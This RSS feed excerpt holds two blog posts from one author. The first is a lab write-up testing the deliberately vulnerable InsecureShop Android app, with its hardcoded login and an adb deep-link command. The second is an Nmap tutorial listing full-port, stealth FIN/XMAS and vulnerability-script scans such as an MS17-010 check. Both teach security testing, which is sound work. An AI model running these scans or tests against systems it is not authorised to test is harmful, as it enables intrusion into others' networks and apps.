            <link>https://medium.com/@bsinghceh/how-i-performed-a-complete-mobile-application-penetration-test-on-an-android-apk-using-jadx-and-c4e8eae5ba7e?source=rss-65921701d7d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4e8eae5ba7e</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Bsinghceh]]></dc:creator>
            <pubDate>Fri, 24 Jul 2026 03:51:23 GMT</pubDate>
            <atom:updated>2026-08-02T21:21:00.222Z</atom:updated>
            <content:encoded><![CDATA[<p>Mobile Application Penetration Testing (VAPT) project on the <strong>InsecureShop</strong> Android application. I wanted to perform a real assessment and document my entire process.</p><p>Perform real-world Android application penetration testing using static analysis, dynamic analysis, and vulnerability assessment.</p><blockquote><strong>Note:</strong> InsecureShop is an intentionally vulnerable application designed for security learning and testing.</blockquote><p>I wanted a project that would help me understand how Android applications are analyzed by security professionals.</p><ul><li>Learn Android application architecture</li><li>Practice APK reverse engineering</li><li>Perform both Static and Dynamic Analysis</li><li>Identify common Android vulnerabilities</li><li>Create a professional security report</li><li>Before starting, I created a small mobile security lab.</li></ul><h3>Operating Systems</h3><ul><li>Windows 11</li><li>Kali Linux</li></ul><h3>Tools</h3><ul><li>Android Studio</li><li>Android Emulator</li><li>JADX</li><li>ADB (Android Debug Bridge)</li><li>Logcat</li></ul><h3>Exploring the Application</h3><p>Before touching the code, I spent time understanding the application.</p><p>I explored:</p><ul><li>Login page</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eZsNg7dYXffKJpxzd6SoA.jpeg" /></figure><ul><li>Product list</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*7tpyBMPM-f9aLw_mZDqnwQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eZsNg7dYXffKJpxzd6SoA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*9sY3SIJq7n8hhaTWBUe9dQ.jpeg" /></figure><ul><li>Shopping cart</li><li>About page</li><li>WebView page</li></ul><p>This helped me understand how users interact with the application before starting the security assessment.</p><h3>Static Analysis Using JADX</h3><p>Once the application was installed and I understood its basic functionality, I moved to <strong>Static Analysis</strong>. Static analysis involves examining the application’s code and configuration <strong>without running it</strong>. This helps identify security issues early by reviewing how the application is built.</p><p>For this assessment, I used <strong>JADX</strong>, an open-source Android decompiler that converts APK files into readable Java source code. It allows security testers to inspect the application’s logic, AndroidManifest.xml, activities, services, content providers, and other components.</p><p>I opened the APK file in JADX and allowed it to decompile the application.</p><h3>AndroidManifest.xml Review</h3><p>The manifest is one of the most important files in any Android application because it defines:</p><blockquote>Application Running in Debug Mode</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BggAUMuRSIOTuUJNfAu2WA.jpeg" /></figure><pre>android:usesCleartextTraffic=&quot;true&quot;</pre><p>The android:debuggable flag enables debugging capabilities that are intended only for development and testing. If this option remains enabled in a production build, an attacker may attach a debugger to the application, inspect runtime behavior, analyze sensitive variables, and simplify reverse engineering efforts.</p><h3>Security Impact</h3><ul><li>Easier reverse engineering</li><li>Runtime debugging of the application</li><li>Increased exposure of sensitive information</li><li>Simplifies dynamic analysis for attackers</li></ul><blockquote>Application Backup Enabled</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UV8PFSAR8LZVEAKWXkwBVw.jpeg" /></figure><pre>android:allowBackup=&quot;true&quot;</pre><p>This configuration allows Android’s backup mechanism to back up application data. If backups are not properly protected, an attacker with physical access or a compromised backup process may extract sensitive application data.</p><h3>Security Impact</h3><ul><li>Potential exposure of stored application data</li><li>Sensitive information may be recoverable from backups</li></ul><blockquote>Cleartext Network Traffic Allowed</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEII59uzquG_kCpLfK3CtQ.jpeg" /></figure><pre>android:usesCleartextTraffic=&quot;true&quot;</pre><p>Enabling cleartext traffic permits HTTP communication without encryption. Any sensitive information transmitted over HTTP may be intercepted or modified by an attacker positioned on the same network.</p><h3>Security Impact</h3><ul><li>Man-in-the-Middle (MITM) attacks</li><li>Information disclosure</li><li>Traffic manipulation</li><li>Session hijacking</li></ul><p>Its is the part of Static Analysis</p><blockquote><strong><em>To verify whether the credentials identified during static analysis were actually used by the application.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXmFqAcCY5TEdR9-HIE5kQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXmFqAcCY5TEdR9-HIE5kQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YOczW_rC4-XJ4e7VbWzsvg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*vDZUB6o11SHfwRUFLO0YAw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*rhHXE6Mc4Nplat4kafbnEg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xKqECIjNR7RAeY49wVN_w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPyv4N9bckLjIXyDzjwpbg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zG8oPhKd9N_kypltlmamKQ.jpeg" /></figure><h3>Dynamic Analysis Using Android Studio Android Emulator, Android SDK Platform Tools and InsecureShop APK</h3><p>After completing the static analysis, I moved to <strong>Dynamic Analysis</strong> to validate whether the identified security issues could be observed while the application was running.</p><p>Unlike static analysis, which focuses on reviewing the application’s source code and configuration, dynamic analysis evaluates the application’s behavior during execution. This approach helps identify runtime vulnerabilities, validate static findings, and observe how the application processes user input, stores sensitive data, and communicates with external resources.</p><p>For this assessment, I used an <strong>Android Emulator</strong> running on <strong>Windows</strong> through <strong>Android Studio</strong>, while <strong>ADB (Android Debug Bridge)</strong> was used to interact with the application from the command line.</p><blockquote><strong><em>Hardcoded Credentials Successfully Used</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6L_YKJ34IUEhD6M8z2tbZQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*9sY3SIJq7n8hhaTWBUe9dQ.jpeg" /></figure><h3>Steps Performed</h3><ol><li>Launched the application in the Android Emulator.</li><li>Navigated to the login screen.</li><li>Used the credentials found in Util.java.</li></ol><pre>Username: shopuser<br>Password: !ns3csh0p</pre><p>4. Logged into the application successfully.</p><p>The application authenticated successfully using credentials embedded in the application code.</p><h3>Security Impact</h3><p>Hardcoded credentials can be extracted through reverse engineering. Anyone with access to the APK can recover these credentials and gain unauthorized access if they are valid.</p><h3>Recommendation</h3><ul><li>Never store credentials in source code.</li><li>Implement server-side authentication.</li><li>Use secure authentication mechanisms such as OAuth or JWT.</li></ul><blockquote><strong><em>Insecure Deep Link Handling</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YOczW_rC4-XJ4e7VbWzsvg.jpeg" /></figure><h4>Objective</h4><p>To verify whether the application’s deep link could be invoked externally.</p><h4>Steps Performed</h4><p>I tested the deep link using ADB.</p><pre>adb shell am start -a android.intent.action.VIEW -d &quot;insecureshop://com.insecureshop/web?url=https://netflix.com&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aW7hPaJduGTPNpmOxPq5pA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayM8zO5yHSMf5YjDIwAT0Q.jpeg" /></figure><h3>Security Impact</h3><p>Improper validation of deep links can allow attackers to manipulate application behavior or load untrusted content.</p><h3>Risk Rating</h3><p><strong>Medium</strong></p><h3>Recommendation</h3><ul><li>Validate all incoming parameters.</li><li>Restrict accepted domains.</li><li>Reject unexpected or malicious URLs.</li></ul><blockquote><strong><em>Sensitive Data Stored in SharedPreferences</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tB4ao3vQ5whoIEBDNHyo_g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPyv4N9bckLjIXyDzjwpbg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zG8oPhKd9N_kypltlmamKQ.jpeg" /></figure><h3>Objective</h3><p>To determine how the application stored authentication information after login.</p><h3>Steps Performed</h3><p>During static analysis, I found that the application stores the username and password using SharedPreferences. After logging in during dynamic testing, this confirmed that the storage logic is actively used.</p><h3>Observation</h3><p>User credentials were saved locally in the application’s SharedPreferences.</p><h3>Security Impact</h3><p>If a device is rooted, compromised, or included in an insecure backup, attackers may recover stored credentials.</p><h3>Risk Rating</h3><p><strong>Medium</strong></p><h3>Conclusion</h3><p>This Android Application VAPT assessment of the <strong>InsecureShop</strong> application provided me with valuable hands-on experience in identifying and validating common Android security vulnerabilities through both <strong>Static Analysis</strong> and <strong>Dynamic Analysis</strong>.</p><p>During the <strong>Static Analysis</strong> phase, I analyzed the application’s source code and configuration using <strong>JADX</strong>. This allowed me to identify several security weaknesses, including <strong>hardcoded credentials</strong>, <strong>debuggable mode enabled</strong>, <strong>application backup enabled</strong>, <strong>cleartext traffic allowed</strong>, <strong>insecure WebView configuration</strong>, <strong>deep link handling</strong>, <strong>insecure storage of sensitive data in SharedPreferences</strong>, and <strong>Content Provider implementation</strong>.</p><p>During the <strong>Dynamic Analysis</strong> phase, I validated these findings by running the application in an Android Emulator and interacting with it using <strong>Android Debug Bridge (ADB)</strong>. I successfully logged into the application using the hardcoded credentials discovered during static analysis, tested the application’s deep link functionality, and verified the behavior of the exported Content Provider. These runtime tests helped me understand how the application’s implementation could affect its overall security posture.</p><p>One of the biggest lessons I learned from this project is that many Android security issues are caused by insecure coding practices and unsafe application configurations rather than sophisticated attacks. Misconfigurations such as enabling debug mode, allowing cleartext traffic, storing sensitive information insecurely, or implementing weak authentication can significantly increase an application’s attack surface.</p><p>Through this project, I gained practical experience with:</p><ul><li>Performing Android Static Application Security Testing (SAST)</li><li>Performing Android Dynamic Application Security Testing (DAST)</li><li>Reverse engineering Android APKs using JADX</li><li>Analyzing AndroidManifest.xml and application components</li><li>Testing Android applications using Android Studio Emulator and ADB</li><li>Identifying common Android security vulnerabilities</li><li>Documenting findings with their impact, risk level, and remediation recommendations</li></ul><p>Overall, this project strengthened my understanding of Android Application VAPT and demonstrated the importance of integrating security testing throughout the software development lifecycle. Performing both static and dynamic analysis provided a comprehensive view of the application’s security and reinforced the value of secure coding practices in reducing security risks.</p><blockquote><strong><em>Thankyou</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4e8eae5ba7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Hackers Use Nmap: The Power of Network Discovery]]></title>
            <link>https://medium.com/@bsinghceh/why-hackers-use-nmap-the-power-of-network-discovery-75177e69827e?source=rss-65921701d7d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/75177e69827e</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[knowledge-management]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[education]]></category>
            <dc:creator><![CDATA[Bsinghceh]]></dc:creator>
            <pubDate>Sun, 28 Jun 2026 12:41:26 GMT</pubDate>
            <atom:updated>2026-08-02T21:19:36.534Z</atom:updated>
            <content:encoded><![CDATA[<h3>⋆☠︎︎⋆Nmap in Action: Network Discovery and Enumeration for Ethical Hackers💀⃤</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hDAZi23oIsWAebOOzbn6YA.png" /></figure><h4>Learn how to discover live hosts, open ports, operating systems, and network services using one of the most powerful reconnaissance tools in cybersecurity.</h4><h4>For a more dramatic blog line, you can write:</h4><p><strong>“Before the attack starts, Nmap whispers the secrets of the network — revealing open doors, hidden services, and weak points waiting to be exploited.”</strong></p><p><em>A Smart Way to Find Open Ports</em></p><p>Nmap is a free and open-source network scanning tool that helps find live devices, open ports, and services on a network. It is widely used by ethical hackers and system administrators for network discovery and security checking</p><blockquote>Nmap: How Hackers Find Open Ports</blockquote><p><em>Full TCP SYN Scan (All Port)</em></p><p>#Scans all 65,535 TCP Port, detects services and Versions</p><pre>nmap -sS -sV -p- -Pn &lt;use Targed IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XABNce39mScDga6sVp2Xpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TFAMEHuGsvfxQVqF3tz75A.png" /></figure><p><em>Default Scripts scan + Version Detection</em></p><pre># Uses safe built-in scripts and detects versions for common services<br>nmap -sC -sV &lt;TARGET IP&gt;<br>If you find network Services and Version so you easily discover the Vulnerability </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XF_zW1tDc6mZFAuEL771vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVKfPCtlw8ZnWEDv1m9bBA.png" /></figure><p><em>Scan Specific Ports</em></p><pre># Scan only chosen ports<br>nmap -sS -sV -p21,22,80,443,445 &lt;TARGET IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNP5UYe-of3VwI8-cllXhQ.png" /></figure><p><em>Run Vulnerability Scripts</em></p><pre>nmap - script vuln &lt;Target&gt;<br>#used Checks CVEs and Weekness Configration and Outdated Softwear so easy to hacked Networks<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wun7cEqBZaMwHRzYtLYtwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdRkC6HQ4_KTQ-5WANViCg.png" /></figure><p><em>Vulnerability Scan on SMB and HTTP</em></p><pre># Check SMB vulnerabilities<br>nmap --script smb-vuln* -p139,445 &lt;TARGET&gt;<br># Check web vulnerabilities<br>nmap --script http-enum,http-vuln* -p80,8080 &lt;TARGET&gt;<br>#use Targeted against known open services for focused Result</pre><p><em>FIN/XMAS (Stealth) Scan and Timing Templates</em></p><pre># FIN scan (for stealthy testing of firewall behavior)<br>nmap -sF &lt;TARGET&gt;<br># XMAS scan (sets multiple TCP flags for evasion)<br>nmap -sX &lt;TARGET&gt;<br># Control speed and stealthiness<br>nmap -T1 &lt;TARGET&gt; # Sneaky (very slow, stealthy)<br>nmap -T2 &lt;TARGET&gt; # Polite (reduced speed)<br>nmap -T3 &lt;TARGET&gt; # Normal (default)<br>nmap -T4 &lt;TARGET&gt; # Aggressive (fast, typical for labs)<br>nmap -T5 &lt;TARGET&gt; # Insane (very fast, noisy)<br>#Example &quot;nmap -sF -T2 &lt;TARGET&gt;&quot;</pre><p><em>Intense (Aggressive ) Scan and </em>Output for Reporting</p><pre># One command to detect OS, version, scripts, and traceroute<br>nmap -A &lt;TARGET&gt;<br># Save results in multiple formats<br><br>nmap -sS -sV -oN nmap.txt -oX nmap.xml &lt;TARGET&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5U4vc8DasY7_nXbrZ_eYSw.png" /></figure><blockquote>Nmap NSE (Scripting Engine) — Practical Use Cases</blockquote><p><em>NSE scripts enable checks like authentication testing, default creds, vuln detection, brute force, and<br>info gathering.</em></p><p>auth — authentication tests<br>vuln — vulnerability checks (e.g., smb-vuln-ms17–010 )<br>discovery — OS/uptime info, traceroute<br>brute — password guessing scripts<br>exploit — automated exploits</p><pre># SMB vulnerability check (MS17-010 / EternalBlue)<br>nmap --script smb-vuln-ms17-010 -p445 &lt;TARGET&gt;<br># HTTP enum / check common files<br>nmap --script http-enum -p80,8080 &lt;TARGET&gt;<br># Run multiple scripts (comma separated)<br>nmap --script vuln,http-enum -p80,445 &lt;TARGET&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*znJHWgnVHdYT42dVNjKKZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f5CZzy0ECenfxaXm35Eyog.png" /><figcaption>nmap — script http-enum -p80,8080 &lt;TARGET IP&gt;</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2dB898aPZ6SEmFU0TFAbzQ.png" /><figcaption>nmap — script vuln,http-enum -p80,445 &lt;TARGET IP&gt;</figcaption></figure><p>⋆༺𓆩☠︎︎𓆪༻⋆<strong><em>Before any attack begins, Nmap helps uncover the silent secrets of the network.</em></strong>⋆༺𓆩☠︎︎𓆪༻⋆</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75177e69827e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>